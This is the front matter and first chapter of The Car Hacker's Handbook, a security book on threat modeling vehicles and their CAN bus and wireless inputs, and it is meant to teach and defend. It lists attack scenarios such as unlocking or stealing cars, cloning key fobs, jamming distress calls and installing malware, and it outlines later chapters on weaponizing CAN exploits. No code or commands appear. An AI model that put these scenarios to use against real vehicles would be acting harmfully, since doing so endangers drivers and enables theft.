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Modern cars are more computerized than ever. 
Infotainment and navigation systems, Wi-Fi, 
automatic software updates, and other inno-
vations aim to make driving more convenient. 
But vehicle technologies haven’t kept pace 
with today’s more hostile security environ-
ment, leaving millions vulnerable to attack.

The Car Hacker’s Handbook will give you a 
deeper understanding of the computer sys-
tems and embedded software in modern 
vehicles. It begins by examining vulner-
abilities and providing detailed explanations 
of communications over the CAN bus and 
between devices and systems.  

Then, once you have an understanding of a 
vehicle’s communication network, you’ll learn 
how to intercept data and perform specific 
hacks to track vehicles, unlock doors, glitch 
engines, flood communication, and more. 
With a focus on low-cost, open source hacking 
tools such as Metasploit, Wireshark, Kayak, 
can-utils, and ChipWhisperer, The Car Hacker’s 
Handbook will show you how to: 

	 Build an accurate threat model for your 
vehicle

	 Reverse engineer the CAN bus to fake 
engine signals

	 Exploit vulnerabilities in diagnostic and 
data-logging systems

	 Hack the ECU and other firmware and 
embedded systems

	 Feed exploits through infotainment and 
vehicle-to-vehicle communication systems

	 Override factory settings with performance-
tuning techniques

	 Build physical and virtual test benches to 
try out exploits safely

If you’re curious about automotive security 
and have the urge to hack a two-ton com
puter, make The Car Hacker’s Handbook your 
first stop.

About the Author
Craig Smith runs Theia Labs, a research firm 
that focuses on security auditing and build-
ing hardware and software prototypes. He has 
worked for several auto manufacturers and 
provided them with his public research. He is 
also a founder of the Hive13 hackerspace and 
OpenGarages.org. Craig is a frequent speaker 
on car hacking and has run workshops at RSA, 
DEF CON, and other major security conferences.

“We’re all safer when the systems we depend upon 
are inspectable, auditable, and documented— 

and this definitely includes cars.”—Chris Evans,  
hacker and founder of Project Zero





PRAISE FOR  
THE CAR HACKER’S HANDBOOK

“�The Car Hacker’s Handbook describes, in meticulous detail, how your car’s 
components talk both to one another and to diagnosticians—outlining 
all the ways good and bad guys can modify or attack the systems.”

—The Wall Street Journal

“�The Car Hacker’s Handbook, a guide on how to reverse engineer, exploit, 
and modify any kind of embedded system; cars are just the example. 
Craig presents this in a way that is eminently comprehensible and 
spends enough time reinforcing the idea of hacking a car safely, legally, 
and ethically. It’s a great read, an excellent introduction to fiddling with 
embedded bits, and truly owning the devices you’ve already purchased.”

—Brian Benchoff, Hackaday

“�Smith has done a marvelous job of providing a practical introduction to 
the world of vehicle systems and the tools used to interact with them for 
both benign and malicious purposes. Definitely a recommended read.”

—Richard Austin, IEEE Cipher

“�The Car Hacker’s Handbook is a comprehensive guide to reverse- 
engineering and understanding the digital control systems in a  
modern vehicle. This book is a wake-up call to automakers, legisla-
tors, and regulators, announcing the fact that technology enthusiasts 
can and will continue to fiddle with their cars. The bar for automotive 
software quality just got raised.”

—Jeff Zurschmeide, Digital Trends

“�By turns funny, scary, and intriguing, The Car Hacker’s Handbook is a prac-
tical guide for tinkerers and a fantastic overview for people who want to 
know what’s going on when they strap themselves into a multi-ton, high-
speed computer.”

—Cory Doctorow, Boing Boing
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Fore    w ord 

The world needs more hackers, and the world defi-
nitely needs more car hackers. Vehicle technology is 
trending toward more complexity and more connec-
tivity. Combined, these trends will require a greater 
focus on automotive security and more talented indi-
viduals to provide this focus.

But what is a hacker? The term is widely corrupted by the mainstream 
media, but correct use of the term hacker refers to someone who creates, 
who explores, who tinkers—someone who discovers by the art of experi-
mentation and by disassembling systems to understand how they work. In 
my experience, the best security professionals (and hobbyists) are those 
who are naturally curious about how things work. These people explore, 
tinker, experiment, and disassemble, sometimes just for the joy of discovery. 
These people hack.



xviii    Foreword

A car can be a daunting hacking target. Most cars don’t come with a 
keyboard and login prompt, but they do come with a possibly unfamiliar 
array of protocols, CPUs, connectors, and operating systems. This book will 
demystify the common components in cars and introduce you to readily 
available tools and information to help get you started. By the time you’ve 
finished reading the book, you’ll understand that a car is a collection of 
connected computers—there just happen to be wheels attached. Armed 
with appropriate tooling and information, you’ll have the confidence to get 
hacking.

This book also contains many themes about openness. We’re all 
safer when the systems we depend upon are inspectable, auditable, and 
documented—and this definitely includes cars. So I’d encourage you to use 
the knowledge gained from this book to inspect, audit, and document. I 
look forward to reading about some of your discoveries!

Chris Evans (@scarybeasts)
January 2016

https://twitter.com/scarybeasts?lang=en
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Introd      u ct  i on

In 2014, Open Garages—a group of people 
interested in sharing and collaborating 

on vehicle security—released the first Car 
Hacker’s Manual as course material for car 

hacking classes. The original book was designed to fit 
in a vehicle’s glove box and to cover the basics of car 
hacking in a one- or two-day class on auto security. Little did we know 
how much interest there would be in that that first book: we had over 
300,000 downloads in the first week. In fact, the book’s popularity shut 
down our Internet service provider (twice!) and made them a bit unhappy 
with us. (It’s okay, they forgave us, which is good because I love my small ISP. 
Hi SpeedSpan.net!)

The feedback from readers was mostly fantastic; most of the criticism 
had to do with the fact that the manual was too short and didn’t go into 
enough detail. This book aims to address those complaints. The Car Hacker’s 
Handbook goes into a lot more detail about car hacking and even covers some 
things that aren’t directly related to security, like performance tuning and 
useful tools for understanding and working with vehicles.
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Why Car Hacking Is Good for All of Us
If you’re holding this book, you may already know why you’d want to hack 
cars. But just in case, here’s a handy list detailing the benefits of car hacking:

Understanding How Your Vehicle Works
The automotive industry has churned out some amazing vehicles, with 
complicated electronics and computer systems, but it has released little 
information about what makes those systems work. Once you under-
stand how a vehicle’s network works and how it communicates within 
its own system and outside of it, you’ll be better able to diagnose and 
troubleshoot problems.

Working on Your Vehicle’s Electrical Systems 
As vehicles have evolved, they’ve become less mechanical and more 
electronic. Unfortunately, automotive electronics systems are typically 
closed off to all but the dealership mechanics. While dealerships have 
access to more information than you as an individual can typically get, 
the auto manufacturers themselves outsource parts and require propri-
etary tools to diagnose problems. Learning how your vehicle’s electron-
ics work can help you bypass this barrier.

Modifying Your Vehicle
Understanding how vehicles communicate can lead to better modifica-
tions, like improved fuel consumption and use of third-party replace-
ment parts. Once you understand the communication system, you can 
seamlessly integrate other systems into your vehicle, like an additional 
display to show performance or a third-party component that integrates 
just as well as the factory default.

Discovering Undocumented Features
Sometimes vehicles are equipped with features that are undocumented 
or simply disabled. Discovering undocumented or disabled features 
and utilizing them lets you use your vehicle to its fullest potential. For 
example, the vehicle may have an undocumented “valet mode” that 
allows you to put your car in a restricted mode before handing over the 
keys to a valet.

Validating the Security of Your Vehicle
As of this writing, vehicle safety guidelines don’t address malicious 
electronic threats. While vehicles are susceptible to the same malware 
as your desktop, automakers aren’t required to audit the security of a 
vehicle’s electronics. This situation is simply unacceptable: we drive our 
families and friends around in these vehicles, and every one of us needs 
to know that our vehicles are as safe as can be. If you learn how to hack 
your car, you’ll know where your vehicle is vulnerable so that you can 
take precautions and be a better advocate for higher safety standards.
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Helping the Auto Industry
The auto industry can benefit from the knowledge contained in this 
book as well. This book presents guidelines for identifying threats as 
well as modern techniques to circumvent current protections. In addi­
tion to helping you design your security practice, this book offers guid­
ance to researchers in how to communicate their findings.

Today’s vehicles are more electronic than ever. In a report in IEEE 
Spectrum titled “This Car Runs on Code,” author Robert N. Charette notes 
that as of 2009 vehicles have typically been built with over 100 micro­
processors, 50 electronic control units, 5 miles of wiring, and 100 million 
lines of code (http://spectrum.ieee.org/transportation/systems/this-car-runs-on-code). 
Engineers at Toyota joke that the only reason they put wheels on a vehicle 
is to keep the computer from scraping the ground. As computer systems 
become more integral to vehicles, performing security reviews becomes 
more important and complex.

w a r n i n g 	 Car hacking should not be taken casually. Playing with your vehicle’s network, wire-
less connections, onboard computers, or other electronics can damage or disable it. 
Be very careful when experimenting with any of the techniques in this book and keep 
safety as an overriding concern. As you might imagine, neither the author nor the 
publisher of this book will be held accountable for any damage to your vehicle.

What’s in This Book
The Car Hacker’s Handbook walks you through what it takes to hack a vehicle. 
We begin with an overview of the policies surrounding vehicle security and 
then delve in to how to check whether your vehicle is secure and how to find 
vulnerabilities in more sophisticated hardware systems.  

Here’s a breakdown of what you’ll find in each chapter:

•	 Chapter 1: Understanding Threat Models teaches you how to assess a 
vehicle. You’ll learn how to identify areas with the highest risk compo­
nents. If you work for the auto industry, this will serve as a useful guide 
for building your own threat model systems.

•	 Chapter 2: Bus Protocols details the various bus networks you may run 
into when auditing a vehicle and explores the wiring, voltages, and pro­
tocols that each bus uses.

•	 Chapter 3: Vehicle Communication with SocketCAN shows how to 
use the SocketCAN interface on Linux to integrate numerous CAN 
hardware tools so that you can write or use one tool regardless of your 
equipment.

•	 Chapter 4: Diagnostics and Logging covers how to read engine codes, 
the Unified Diagnostic Services, and the ISO-TP protocol. You’ll learn 
how different module services work, what their common weaknesses 
are, and what information is logged about you and where that informa­
tion is stored.

http://spectrum.ieee.org/transportation/systems/this-car-runs-on-code
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•	 Chapter 5: Reverse Engineering the CAN Bus details how to analyze 
the CAN network, including how to set up virtual testing environments 
and how to use CAN security–related tools and fuzzers.

•	 Chapter 6: ECU Hacking focuses on the firmware that runs on the 
ECU. You’ll discover how to access the firmware, how to modify it, and 
how to analyze the firmware’s binary data.

•	 Chapter 7: Building and Using ECU Test Benches explains how to 
remove parts from a vehicle to set up a safe testing environment. It also 
discusses how to read wiring diagrams and simulate components of the 
engine to the ECU, such as temperature sensors and the crank shaft.

•	 Chapter 8: Attacking ECUs and Other Embedded Systems covers inte-
grated circuit debugging pins and methodologies. We also look at side 
channel analysis attacks, such as differential power analysis and clock 
glitching, with step-by-step examples.

•	 Chapter 9: In-Vehicle Infotainment Systems details how infotainment 
systems work. Because the in-vehicle infotainment system probably 
has the largest attack surface, we’ll focus on different ways to get to 
its firmware and execute on the system. This chapter also discusses 
some open source in-vehicle infotainment systems that can be used 
for testing.

•	 Chapter 10: Vehicle-to-Vehicle Communication explains how the 
proposed vehicle-to-vehicle network is designed to work. This chapter 
covers cryptography as well as the different protocol proposals from 
multiple countries. We’ll also discuss some potential weaknesses with 
vehicle-to-vehicle systems.

•	 Chapter 11: Weaponizing CAN Findings details how to turn your 
research into a working exploit. You’ll learn how to convert proof-of-
concept code to assembly code, and ultimately shellcode, and you’ll 
examine ways of exploiting only the targeted vehicle, including ways 
to probe a vehicle undetected.

•	 Chapter 12: Attacking Wireless Systems with SDR covers how to use 
software-defined radio to analyze wireless communications, such as 
TPMS, key fobs, and immobilizer systems. We review the encryption 
schemes you may run into when dealing with immobilizers as well as 
any known weaknesses. 

•	 Chapter 13: Performance Tuning discusses techniques used to enhance 
and modify a vehicle’s performance. We’ll cover chip tuning as well as 
common tools and techniques used to tweak an engine so it works the 
way you want it to.

•	 Appendix A: Tools of the Trade provides a list of software and hardware 
tools that will be useful when building your automotive security lab.
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•	 Appendix B: Diagnostic Code Modes and PIDs lists some common 
modes and handy PIDS.

•	 Appendix C: Creating Your Own Open Garage explains how to get 
involved in the car hacking community and start your own Open 
Garage.

By the end of the book, you should have a much deeper understanding 
of how your vehicle’s computer systems work, where they’re most vulnerable, 
and how those vulnerabilities might be exploited. 





1
Understand          i ng   
T hreat      Mode    l s

If you come from the software penetration-
testing world, you’re probably already famil-

iar with attack surfaces. For the rest of us, 
attack surface refers to all the possible ways to 

attack a target, from vulnerabilities in individual com-
ponents to those that affect the entire vehicle. 

When discussing the attack surface, we’re not considering how to exploit 
a target; we’re concerned only with the entry points into it. You might think 
of the attack surface like the surface area versus the volume of an object. Two 
objects can have the same volume but radically different surface areas. The 
greater the surface area, the higher the exposure to risk. If you consider an 
object’s volume its value, our goal in hardening security is to create a low 
ratio of risk to value.
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Finding Attack Surfaces
When evaluating a vehicle’s attack surface, think of yourself as an evil spy 
who’s trying to do bad things to a vehicle. To find weaknesses in the vehicle’s 
security, evaluate the vehicle’s perimeter, and document the vehicle’s environ-
ment. Be sure to consider all the ways that data can get into a vehicle, which 
are all the ways that a vehicle communicates with the outside world.

As you examine the exterior of the vehicle, ask yourself these questions:

•	 What signals are received? Radio waves? Key fobs? Distance sensors?

•	 Is there physical keypad access?

•	 Are there touch or motion sensors?

•	 If the vehicle is electric, how does it charge?

As you examine the interior, consider the following:

•	 What are the audio input options: CD? USB? Bluetooth?

•	 Are there diagnostic ports? 

•	 What are the capabilities of the dashboard? Is there a GPS? Bluetooth? 
Internet?

As you can see, there are many ways data can enter the vehicle. If any 
of this data is malformed or intentionally malicious, what happens? This is 
where threat modeling comes in.

Threat Modeling
Entire books have been written about threat modeling, but I’m going to 
give you just a quick tour so you can build your own threat models. (If you 
have further questions or if this section excites you, by all means, grab 
another book on the subject!)

When threat modeling a car, you collect information about the archi-
tecture of your target and create a diagram to illustrate how parts of the car 
communicate. You then use these maps to identify higher-risk inputs and to 
keep a checklist of things to audit; this will help you prioritize entry points 
that could yield the most return.

Threat models are typically made during the product development and 
design process. If the company producing a particular product has a good 
development life cycle, it creates the threat model when product develop-
ment begins and continuously updates the model as the product moves 
through the development life cycle. Threat models are living documents 
that change as the target changes and as you learn more about a target, so 
you should update your threat model often. 

Your threat model can consist of different levels; if a process in your 
model is complicated, you should consider breaking it down further by 
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adding more levels to your diagrams. In the beginning, however, Level 2 is 
about as far as you’ll be able to go. We’ll discuss the various levels in the fol-
lowing sections, beginning with Threat Level 0.

Level 0: Bird’s-Eye View
At this level, we use the checklist 
we built when considering attack 
surfaces. Think about how data can 
enter the vehicle. Draw the vehicle in 
the center, and then label the exter-
nal and internal spaces. Figure 1-1 
illustrates a possible Level 0 diagram.

The rectangular boxes are the 
inputs, and the circle in the center 
represents the entire vehicle. On 
their way to the vehicle, the inputs 
cross two dotted lines, which repre-
sent external and internal threats. 

The vehicle circle doesn’t repre-
sent an input but rather a complex 
process—that is, a series of tasks 
that could be broken down further. 
Processes are numbered, and as you 
can see, this one is number 1.0. If 
you had more than one complex 
piece in your threat model, you 
would number those in succession. 
For instance, you would label a sec-
ond process 2.0; a third, 3.0; and so 
on. As you learn about your vehicle’s 
features, you update the diagram. 
It’s okay if you don’t recognize all of 
the acronyms in the diagram yet; you 
will soon.

Level 1: Receivers
To move on to the Level 1 diagram, pick a process to explore. Because we 
have only the one process in our diagram, let’s dig in to the vehicle process 
and focus on what each input talks to. 

The Level 1 map shown in Figure 1-2 is almost identical to that in 
Level 0. The only difference is that here we specify the vehicle connec-
tions that receive the Level 0 input. We won’t look at the receivers in 
depth just yet; we’re looking only at the basic device or area that the 
input talks to.

Cellular

Wi-Fi

TPMS

KES

Bluetooth

Infotainment/Nav Console

USB

OBD-II Connector

CAN Bus Splicing

Vehicle

External

Internal

1.0

Figure 1-1: Level 0 inputs
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ECU TPMS
ReceiverImmobilizer

1.1

1.2

1.3
1.4

Cellular Wi-Fi

Bluetooth TPMSKES

USB

OBD-IICAN Splicing

Long-Range External

Near-Range External

Internal

Vehicle Internal 
Network

Infotainment/
Nav Console

Figure 1-2: Level 1 map of inputs and vehicle connections

Notice in Figure 1-2 that we number each receiver. The first digit rep-
resents the process label from the Level 0 diagram in Figure 1-1, and the 
second digit is the number of the receiver. Because the infotainment unit is 
both a complex process and an input, we’ve given it a process circle. We now 
have three other processes: immobilizer, ECU, and TPMS Receiver.

The dotted lines in the Level 1 map represent divisions between trust 
boundaries. The inputs at the top of the diagram are the least trusted, 
and the ones at the bottom are the most trusted. The more trust bound-
aries that a communication channel crosses, the more risky that channel 
becomes. 
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Level 2: Receiver Breakdown
At Level 2, we examine the communication taking place inside the vehicle. 
Our sample diagram (Figure 1-3) focuses on a Linux-based infotainment 
console, receiver 1.1. This is one of the more complicated receivers, and it’s 
often directly connected to the vehicle’s internal network.

In Figure 1-3, we group the communications channels into boxes with 
dashed lines to once again represent trust boundaries. Now there’s a new 
trust boundary inside the infotainment console called kernel space. Systems 
that talk directly to the kernel hold higher risk than ones that talk to system 
applications because they may bypass any access control mechanisms on the 
infotainment unit. Therefore, the cellular channel is higher risk than the 
Wi-Fi channel because it crosses a trust boundary into kernel space; the Wi-Fi 
channel, on the other hand, communicates with the WPA supplicant pro-
cess in user space. 

Cellular

Wi-Fi

Bluetooth

USB

ECU

1.3

Bluez

WPA
Supplicant

HSI

udev

Kvaser

Long-Range External Near-Range External

Kernel
Space

Vehicle Internal Network

1.1.1

1.1.2

1.1.4

1.1.3

1.1.5

Figure 1-3: Level 2 map of the infotainment console
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This system is a Linux-based in-vehicle infotainment (IVI) system, and 
it uses parts common to a Linux environment. In the kernel space, you see 
references to the kernel modules udev, HSI, and Kvaser, which receive input 
from our threat model. The udev module loads USB devices, HSI is a serial 
driver that handles cellular communication, and Kvaser is the vehicle’s net-
work driver.

The numbering pattern for Level 2 is now X.X.X, and the identification 
system is the same as before. At Level 0, we took the vehicle process that was 
1.0 and dove deeper into it. We then marked all processes within Level 1 as 
1.1, 1.2, and so on. Next, we selected the infotainment process marked 1.1 
and broke it down further for the Level 2 diagram. At Level 2, therefore, we 
labeled all complex processes as 1.1.1, 1.1.2, and so on. (You can continue 
the same numbering scheme as you dive even deeper into the processes. 
The numbering scheme is for documentation purposes; it allows you to ref-
erence the exact process at the appropriate level.)

N O T E 	 Ideally at this stage, you’d map out which processes handle which inputs, but we’ll 
have to guess for now. In the real world, you’d need to reverse engineer the infotain-
ment system to find this information. 

When building or designing an automotive system, you should con-
tinue to drill down into as many complex processes as possible. Bring in 
the development team, and start discussing the methods and libraries used 
by each application so you can incorporate them into their own threat dia-
grams. You’ll likely find that the trust boundaries at the application level 
will usually be between the application and the kernel, between the applica-
tion and the libraries, between the application and other applications, and 
even between functions. When exploring these connections, mark methods 
that have higher privileges or that handle more sensitive information.

Threat Identification
Now that we’ve gone two levels deep into our threat modeling maps, we can 
begin to identify potential threats. Threat identification is often more fun 
to do with a group of people and a whiteboard, but you can do it on your 
own as a thought exercise. 

Let’s try this exercise together. Start at Level 0—the bird’s-eye view—
and consider potential high-level problems with inputs, receivers, and threat 
boundaries. Now let’s list all potential threats with our threat models.

Level 0: Bird’s-Eye View
When determining potential threats at Level 0, try to stay high level. Some 
of these threats may seem unrealistic because you’re aware of additional 
hurdles or protections, but it’s important to include all possible threats in 
this list, even if some have already been addressed. The point here is to 
brainstorm all the risks of each process and input.
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The high-level threats at Level 0 are that an attacker could:

•	 Remotely take over a vehicle

•	 Shut down a vehicle

•	 Spy on vehicle occupants

•	 Unlock a vehicle

•	 Steal a vehicle

•	 Track a vehicle

•	 Thwart safety systems

•	 Install malware on the vehicle

At first, it may be difficult to come up with a bunch of attack scenarios. 
It’s often good to have people who are not engineers also participate at this 
stage because as a developer or an engineer, you tend to be so involved in the 
inner workings that it’s natural to discredit ideas without even meaning to. 

Be creative; try to come up with the most James Bond–villain attack 
you can think of. Maybe think of other attack scenarios and whether they 
could also apply to vehicles. For example, consider ransomware, a malicious 
software that can encrypt or lock you out of your computer or phone until 
you pay money to someone controlling the software remotely. Could this be 
used on vehicles? The answer is yes. Write ransomware down.

Level 1: Receivers
Threat identification at Level 1 focuses more on the connections of each 
piece rather than connections that might be made directly to an input. The 
vulnerabilities that we posit at this level relate to vulnerabilities that affect 
what connects to the devices in a vehicle.

We’ll break these down into threat groupings that relate to cellular, 
Wi-Fi, key fob (KES), tire pressure monitor sensor (TPMS), infotainment 
console, USB, Bluetooth, and controller area network (CAN) bus connec-
tions. As you can see in the following lists, there are many potential ways 
into a vehicle.

Cellular

An attacker could exploit the cellular connection in a vehicle to:

•	 Access the internal vehicle network from anywhere

•	 Exploit the application in the infotainment unit that handles incoming 
calls

•	 Access the subscriber identity module (SIM) through the infotain-
ment unit

•	 Use a cellular network to connect to the remote diagnostic system 
(OnStar)

•	 Eavesdrop on cellular communications
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•	 Jam distress calls

•	 Track the vehicle’s movements

•	 Set up a fake Global System for Mobile Communications (GSM) base 
station

Wi-Fi

An attacker could exploit the Wi-Fi connection to:

•	 Access the vehicle network from up to 300 yards away or more

•	 Find an exploit for the software that handles incoming connections

•	 Install malicious code on the infotainment unit

•	 Break the Wi-Fi password

•	 Set up a fake dealer access point to trick the vehicle into thinking it’s 
being serviced

•	 Intercept communications passing through the Wi-Fi network

•	 Track the vehicle

Key Fob

An attacker could exploit the key fob connection to:

•	 Send malformed key fob requests that put the vehicle’s immobilizer in 
an unknown state. (The immobilizer is supposed to keep the vehicle 
locked so it can’t be hotwired. We need to ensure that it maintains 
proper functionality.)

•	 Actively probe an immobilizer to drain the car battery

•	 Lock out a key

•	 Capture cryptographic information leaked from the immobilizer dur-
ing the handshake process

•	 Brute-force the key fob algorithm

•	 Clone the key fob

•	 Jam the key fob signal

•	 Drain the power from the key fob

Tire Pressure Monitor Sensor

An attacker could exploit the TPMS connection to:

•	 Send an impossible condition to the engine control unit (ECU), caus-
ing a fault that could then be exploited

•	 Trick the ECU into overcorrecting for spoofed road conditions
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•	 Put the TPMS receiver or the ECU into an unrecoverable state that might 
cause a driver to pull over to check for a reported flat or that might even 
shut down the vehicle

•	 Track a vehicle based on the TPMS unique IDs

•	 Spoof the TPMS signal to set off internal alarms

Infotainment Console

An attacker could exploit the infotainment console connection to:

•	 Put the console into debug mode

•	 Alter diagnostic settings

•	 Find an input bug that causes unexpected results

•	 Install malware to the console

•	 Use a malicious application to access the internal CAN bus network

•	 Use a malicious application to eavesdrop on actions taken by vehicle 
occupants

•	 Use a malicious application to spoof data displayed to the user, such as 
the vehicle location

USB

An attacker could use a USB port connection to:

•	 Install malware on the infotainment unit

•	 Exploit a flaw in the USB stack of the infotainment unit

•	 Attach a malicious USB device with specially crafted files designed to 
break importers on the infotainment unit, such as the address book 
and MP3 decoders

•	 Install modified update software on the vehicle

•	 Short the USB port, thus damaging the infotainment system

Bluetooth

An attacker could use a Bluetooth connection to:

•	 Execute code on the infotainment unit

•	 Exploit a flaw in the Bluetooth stack of the infotainment unit

•	 Upload malformed information, such as a corrupted address book 
designed to execute code

•	 Access the vehicle from close ranges (less than 300 feet)

•	 Jam the Bluetooth device
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Controller Area Network

An attacker could exploit the CAN bus connection to:

•	 Install a malicious diagnostic device to send packets to the CAN bus

•	 Plug directly in to a CAN bus to attempt to start a vehicle without a key

•	 Plug directly in to a CAN bus to upload malware

•	 Install a malicious diagnostic device to track the vehicle

•	 Install a malicious diagnostic device to enable remote communications 
directly to the CAN bus, making a normally internal attack now an 
external threat

Level 2: Receiver Breakdown
At Level 2, we can talk more about identifying specific threats. As we look 
at exactly which application handles which connection, we can start to per-
form validation based on possible threats.

We’ll break up threats into five groups: Bluez (the Bluetooth daemon), 
the wpa_supplicant (the Wi-Fi daemon), HSI (high-speed synchronous 
interface cellular kernel module), udev (kernel device manager), and the 
Kvaser driver (CAN transceiver driver). In the following lists, I’ve specified 
threats to each program.

Bluez

Older or unpatched versions of the Bluez daemon:

•	 May be exploitable

•	 May be unable to handle corrupt address books

•	 May not be configured to ensure proper encryption

•	 May not be configured to handle secure handshaking

•	 May use default passkeys

wpa_supplicant

•	 Older versions may be exploitable

•	 May not enforce proper WPA2 style wireless encryption

•	 May connect to malicious access points

•	 May leak information on the driver via BSSID (network interface)

HSI

•	 Older versions may be exploitable

•	 May be susceptible to injectable serial communication (man-in-the-
middle attacks in which the attacker inserts serial commands into the 
data stream)
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udev

•	 Older, unpatched versions may be susceptible to attack

•	 May not have a maintained whitelist of devices, allowing an attacker to 
load additional drivers or USB devices that were not tested or intended 
for use

•	 May allow an attacker to load foreign devices, such as a keyboard to 
access the infotainment system

Kvaser Driver

•	 Older, unpatched versions may be exploitable

•	 May allow an attacker to upload malicious firmware to the Kvaser 
device

These lists of potential vulnerabilities are by no means exhaustive, but 
they should give you an idea of how this brainstorming session works. If you 
were to go to a Level 3 map of potential threats to your vehicle, you would 
pick one of the processes, like HSI, and start to look at its kernel source to 
identify sensitive methods and dependencies that might be vulnerable to 
attack.

Threat Rating Systems
Having documented many of our threats, we can now rate them with a risk 
level. Common rating systems include DREAD, ASIL, and MIL-STD-882E. 
DREAD is commonly used in web testing, while the automotive industry 
and government use ISO 26262 ASIL and MIL-STD-882E, respectively, 
for threat rating. Unfortunately, ISO 26262 ASIL and MIL-STD-882E are 
focused on safety failures and are not adequate to handle malicious threats. 
More details on these standards can be found at http://opengarages.org/index​
.php/Policies_and_Guidelines.

The DREAD Rating System
DREAD stands for the following:

Damage potential  How great is the damage?

Reproducibility  How easy is it to reproduce?

Exploitability  How easy is it to attack?

Affected users  How many users are affected?

Discoverabilty  How easy is it to find the vulnerability?

Table 1-1 lists the risk levels from 1 to 3 for each rating category.

http://opengarages.org/index.php/Policies_and_Guidelines
http://opengarages.org/index.php/Policies_and_Guidelines
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Table 1-1: DREAD Rating System

Rating category High (3) Medium (2) Low (1)

D Damage potential Could subvert the 
security system 
and gain full trust, 
ultimately taking over 
the environment

Could leak sensitive 
information

Could leak trivial 
information

R Reproducibility Is always reproducible Can be reproduced 
only during a specific 
condition or window 
of time

Is very difficult to 
reproduce, even given 
specific information 
about the vulnerability

E Exploitability Allows a novice 
attacker to execute 
the exploit

Allows a skilled 
attacker to create an 
attack that could be 
used repeatedly

Allows only a skilled 
attacker with in-depth 
knowledge to perform 
the attack

A Affected users Affects all users, 
including the default 
setup user and key 
customers

Affects some users or 
specific setups

Affects a very small 
percentage of users; 
typically affects an 
obscure feature

D Discoverability Can be easily found 
in a published 
explanation of the 
attack

Affects a seldom-used 
part, meaning an 
attacker would need 
to be very creative to 
discover a malicious 
use for it

Is obscure, meaning 
it’s unlikely attackers 
would find a way to 
exploit it

Now we can apply each DREAD category from Table 1-1 to an identi-
fied threat from earlier in the chapter and score the threat from low to 
high (1–3). For instance, if we take the Level 2 HSI threats discussed in 
“Level 2: Receiver Breakdown” on page 10, we can come up with threat 
ratings like the ones shown in Table 1-2.

Table 1-2: HSI Level 2 Threats with DREAD Scores

HSI threats D R E A D Total

An older, unpatched version of HSI that may be 
exploitable

3 3 2 3 3 14

An HSI that may be susceptible to injectable serial 
communication

2 2 2 3 3 12

You can identify the overall rating by using the values in the Total col-
umn, as shown in Table 1-3.

Table 1-3: DREAD Risk Scoring Chart

Total Risk level

5–7 Low

8–11 Medium

12–15 High
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When performing a risk assessment, it’s good practice to leave the scor-
ing results visible so that the person reading the results can better under-
stand the risks. In the case of the HSI threats, we can assign high risk to 
each of these threats, as shown in Table 1-4.

Table 1-4: HSI Level 2 Threats with DREAD Risk Levels Applied

HSI threats D R E A D Total Risk

An older, unpatched version of HSI that may 
be exploitable

3 3 2 3 3 14 High

An HSI that may be susceptible to injectable 
serial communication

2 2 2 3 3 12 High

Although both risks are marked as high, we can see that the older ver-
sion of the HSI model poses a slightly higher risk than do the injectable 
serial attacks, so we can make it a priority to address this risk first. We can 
also see that the reason why the injectable serial communication risk is 
lower is that the damage is less severe and the exploit is harder to repro-
duce than that of an old version of HSI.

CVSS: An Alternative to DREAD
If DREAD isn’t detailed enough for you, consider the more detailed risk 
methodology known as the common vulnerability scoring system (CVSS). CVSS 
offers many more categories and details than DREAD in three groups: 
base, temporal, and environmental. Each group is subdivided into sub 
areas—six for base, three for temporal, and five for environmental—for a 
total of 14 scoring areas! (For detailed information on how CVSS works, see 
http://www.first.org/cvss/cvss-guide.)

N O T E 	 While we could use ISO 26262 ASIL or MIL-STD-882E when rating threats, we 
want more detail than just Risk = Probability × Severity. If you have to pick between 
these two systems for a security review, go with MIL-STD-882E from the Department 
of Defense (DoD). The Automotive Safety Integrity Level (ASIL) system will too often 
have a risk fall into the QM ranking, which basically translates to “meh.” The DoD’s 
system tends to result in a higher ranking, which equates to a higher value for the cost 
of a life. Also, MIL-STD-882E is designed to be applied throughout the life cycle of a 
system, including disposal, which is a nice fit with a secure development life cycle.

Working with Threat Model Results
At this point, we have a layout of many of the potential threats to our 
vehicle, and we have them ranked by risk. Now what? Well, that depends 
on what team you’re on. To use military jargon, the attacker side is the “red 
team,” and the defender side is the “blue team.” If you’re on the red team, 
your next step is to start attacking the highest risk areas that are likely to 
have the best chance of success. If you’re on the blue team, go back to your 
risk chart and modify each threat with a countermeasure.
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For example, if we were to take the two risks in “The DREAD Rating 
System” on page 11, we could add a countermeasure section to each. 
Table 1-5 includes the countermeasure for the HSI code execution risk, 
and Table 1-6 includes the countermeasure for the risk of HSI interception.

Table 1-5: HSI Code Execution Risk

Threat Executes code in the kernel space

Risk High

Attack technique Exploit vulnerability in older versions of HSI

Countermeasures Kernel and kernel modules should be updated with the latest 
kernel releases

Table 1-6: Intercepting HSI Commands

Threat Intercepts and injects commands from the cellular network

Risk High

Attack technique Intercept serial communications over HSI

Countermeasures All commands sent over cellular are cryptographically signed

Now you have a documented list of high-risk vulnerabilities with solu-
tions. You can prioritize any solutions not currently implemented based on 
the risk of not implementing that solution.

Summary
In this chapter you learned the importance of using threat models to iden-
tify and document your security posture, and of getting both technical and 
nontechnical people to brainstorm possible scenarios. We then drilled 
down into these scenarios to identify all potential risks. Using a scoring sys-
tem, we ranked and categorized each potential risk. After assessing threats 
in this way, we ended up with a document that defined our current product 
security posture, any countermeasure currently in place, and a task list of 
high-priority items that still need to be addressed.
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In this chapter, we’ll discuss the different 
bus protocols common in vehicle commu-

nications. Your vehicle may have only one 
of these, or if it was built earlier than 2000, it 

may have none. 
Bus protocols govern the transfer of packets through the network of 

your vehicle. Several networks and hundreds of sensors communicate on 
these bus systems, sending messages that control how the vehicle behaves 
and what information the network knows at any given time. 

Each manufacturer decides which bus and which protocols make the 
most sense for its vehicle. One protocol, the CAN bus, exists in a standard 
location on all vehicles: on the OBD-II connector. That said, the packets 
themselves that travel over a vehicle’s CAN bus aren’t standardized. 

Vehicle-critical communication, such as RPM management and brak-
ing, happens on high-speed bus lines, while noncritical communication, 
such as door lock and A/C control, happens on mid- to low-speed bus lines.
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We’ll detail the different buses and protocols you may run across on 
your vehicle. To determine the bus lines for your specific vehicle, check its 
OBD-II pinout online.

The CAN Bus
CAN is a simple protocol used in manufacturing and in the automobile 
industry. Modern vehicles are full of little embedded systems and elec-
tronic control units (ECUs) that can communicate using the CAN proto-
col. CAN has been a standard on US cars and light trucks since 1996, but 
it wasn’t made mandatory until 2008 (2001 for European vehicles). If your 
car is older than 1996, it still may have CAN, but you’ll need to check.

